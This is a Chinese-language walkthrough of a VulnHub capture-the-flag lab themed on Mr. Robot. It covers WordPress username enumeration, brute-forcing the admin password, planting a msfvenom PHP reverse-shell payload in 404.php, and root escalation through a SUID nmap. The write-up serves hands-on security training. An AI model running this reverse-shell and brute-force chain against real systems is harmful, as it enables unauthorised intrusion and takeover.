靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

admin 2022年6月10日10:45:12评论34 views字数 3219阅读10分43秒阅读模式

🦕前言

vulhub靶机平台地址:https://www.vulnhub.com/今天的靶机主题来自美剧《黑客军团》,本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限。

👕渗透过程:

本次靶机已经导入VM,采用的是桥接模式

攻击机用的是parrot linux+windows10

攻击机IP为:192.168.0.104

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

由于在同一网段内 我们用nmap找出靶机IP地址:

nmap -sP 192.168.0.0/24

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

得到靶机IP地址为:192.168.0.107

我们用nmap对靶机IP进行信息探测:

nmap -sV -O 192.168.0.107

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

发现开了2280443端口

我们访问靶机 http://192.168.0.107

主页:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

发现是linux的命令输入框

最后那个#差点让我认为是root权限

查看源代码也没有什么有用的信息

我们先用dirb来跑一下目录

渗透之前,准备工作要做好:

dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

发现好多目录,还有许多敏感的目录

比如 robots.txt

看到还有/wp-admin/wp-content

这些目录

这不是wordpress的系统架构吗

推测靶机应该是wordpress搭建的博客

还有一些其他目录  /intro,/

...似乎有点混乱🤡

我们用dirsearch.py脚本

通过筛选再来扫一遍:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

这样就清楚多了

我们先来访问robots.txt:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

我好像看见了key-1-of-3.txt

这或许就是那1/3flag,同时我们还发现一个目录,

我们先访问这个key:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

这个像是key的MD5哈希值

但是不好破解...

我们再访问同时出现的这个目录

fsocity.dic:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

我们下载并打开:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

这给我的感觉...完全是一个字典文件啊...

不过太多,并且很多重复,我们删除一下重复项:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

这个字典水分有点大,浓缩过后才11451条,

我们先不急着爆破

既然它是wordpress

kali等工具自带的wpscan完全可以用

来扫出漏洞,我们先来枚举用户:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

....连用户名都没有扫出来

我们看这个博客的登陆页面,也就是 /wp-login

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

我们尝试用admin/admin888登陆:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

虽然没有登录成功,但是错误提示是 :

ERROR: Invalid username.

提示无用的用户名,应为之前本地搭建过wordpress,所以用户名正确,

密码不对时,页面会回显:

ERROR: The pssword you entered for the username

我们现在手里也有一个

之前下载编辑好的字典文件:

fsocity_filtered.txt

我们或许写一个python脚本根据页面回显,来判断用户名是否正确:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

我们运行脚本,到时候会输出用户名:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

根据python脚本的运行结果,我们发现用户名为 elliot

现在我们需要获得密码,我们用wpscan使用相同的字典爆破:

wpscan --url http://192.168.0.107 --wordlist=/home/bmjoker/fsocity_filtered.txt --username elliot --threads  20

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

成功得到用户名跟密码:

 elliot/ER28-0652

我们尝试登陆wordpress:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

并且顺带查看了这个用户的权限:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

Administrator...权限够大的啊

对付wordpress,这里通过修改

Appearance -> Editor -> 404.php

来得到shell:

先用mafvenom生成一个php马:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f raw -o payload.php

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

然后将生成的payload.php直接覆盖404.php:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

然后再kali设置监听IP,端口:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

然后我们随便访问一个不存在的页面来触发这个shell

比如我们访问:

http://192.168.0.107/123456

我们查看一下监听:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

成功监听!!!

我们切换shell窗口

我们下一步的任务就是提权并找到key:

我们在目录搜索中

找到了key-2-of-3.txt:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

查看的时候,被权限给拦住了

不过同目录下还有个 password.raw-md5

得到了:

robot:c3fcd3d76192e4007dfb496cca67e13b

感觉像是一个用户名和一个md5哈希密码,尝试解密:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

得到密码为:

abcdefghijklmnopqrstuvwxyz

我们尝试登陆robot这个用户来查看key:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

必须运行在一个终端中

这表明我们没有正确的shell运行...

我们直接用

python -c 'import pty; pty.spawn("/bin/bash")'

来模拟一个终端,来su robot  :

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

成功得到第二个key,

从上面的key

我估计我们必须用root权限才能得到第三个key,

我尝试了一些常规的提权方法

找了一些exploitDB的漏洞

但这些都没有用

我们尝试从有root权限的进程入手:

对linux中SUID标识位的理解

我们执行shell命令实际上是对应于某个二进制的可执行文件或者可执行的脚本,通常以提交这个命令的用户的权限运行,但是有的命令执行过程要往某个文件中写入一些东西。比如某个不具有root权限的用户想要修改自己的密码,他就要修改/etc/passwd文件,但是我们查看一下passwd的权限设置就知道passwd文件对于普通用户而言不具有写的权限,这样可以防止普通用户更改别人或者root的密码,但是他总该可以更改自己的密码吧,这点权限还是应该有的,你想到什么好的方法可以解决这个问题吗?

这就要说道linux中的SUID标志位,它可以把一个文件设置为这样的访问权限:普通用户只有在执行特定命令(入passwd 更改密码)时,才可以更改或者写入文件(如/etc/passwd),也就相当于只可以在受保护的文件的特定部分可以写入(如passwd中的自己的密码那部分),这样就很好的解决了保护重要的文件的同时又可以在特定的情况下让普通用户更改该文件。

如果大致理解的话我们继续:

我们搜索标识位SUID为root的文件:

find / -user root -perm -4000 2>/dev/null

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》通过截图,我们发现nmap居然有SUID标志位

来看看nmap版本

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

一个非常老的nmap版本

但是这个版本的nmap如何帮我们提权呢?

经过大量的谷歌搜索后,发现nmap支持“interactive.”选项

用户能够通过该选项执行shell命令

通常,安全人员会使用该命令来避免他们

使用nmap命令被记录在history文件中:

靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

我们成功的到最后一个key,任务完成!

🐇总结:

1.使用脚本可以获得一个稳定的shell

python -c ‘import pty; pty.spawn(“/bin/bash”)’

这个在实际渗透中用处也很大

2.学习多种提权方式,包括本节的 nmap老版本提权 在下一节还会介绍别样的提权。

3.wordpress有很多获得shell的方法,不只是修改404脚本,还可以通过修改插件来getshell,不懂的话看我以前的测试案例。

4.还是多动手实践,靶场来自于vulnhub,大家有兴趣自己尝试一下。

🫖参考链接:

https://blog.csdn.net/yaofeino1/article/details/62897259

https://blog.csdn.net/qk1992919/article/details/51381644

原文始发于微信公众号(猫因的安全):靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月10日10:45:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机肾透测试 | Vulhub靶场 一日游《到底谁噶掉了俺的腰子》http://cn-sec.com/archives/1104867.html

发表评论

匿名网友 填写信息